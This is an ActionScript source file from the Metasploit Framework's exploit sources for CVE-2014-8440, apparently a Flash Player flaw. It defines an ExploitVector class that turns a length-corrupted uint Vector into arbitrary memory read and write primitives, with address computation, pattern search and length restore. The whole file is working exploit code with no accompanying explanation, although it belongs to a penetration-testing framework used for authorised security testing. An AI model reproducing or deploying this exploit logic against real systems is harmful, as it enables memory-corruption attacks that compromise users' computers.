metasploit-framework/external/source/exploits/CVE-2014-8440/ExploitVector.as

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2015-06-09 20:46:21 +00:00
package
{
public class ExploitVector
{
private var uv:Vector.<uint>
public var original_length:uint = 114
public function ExploitVector(v:Vector.<uint>)
{
uv = v
}
public function restore():void
{
uv[0x3ffffffe] = original_length
}
public function is_ready():Boolean
{
if (uv.length > original_length)
{
return true
}
return false
}
public function at(pos:uint):uint
{
return uv[pos]
}
// pos: position where a Vector.<Object>[0] lives
public function set_own_address(pos:uint):void
{
uv[0] = uv[pos - 5] - ((pos - 5) * 4) - 0xc
}
public function read(addr:uint):uint
{
var pos:uint = 0
if (addr > uv[0]) {
pos = ((addr - uv[0]) / 4) - 2
} else {
pos = ((0xffffffff - (uv[0] - addr)) / 4) - 1
}
return uv[pos]
}
public function write(addr:uint, value:uint = 0):void
{
var pos:uint = 0
if (addr > uv[0]) {
pos = ((addr - uv[0]) / 4) - 2
} else {
pos = ((0xffffffff - (uv[0] - addr)) / 4) - 1
}
uv[pos] = value
}
public function search_pattern(pattern:uint, limit:uint):uint
{
for (var i:uint = 0; i < limit/4; i++) {
if (uv[i] == pattern) {
return i
}
}
throw new Error()
}
}
}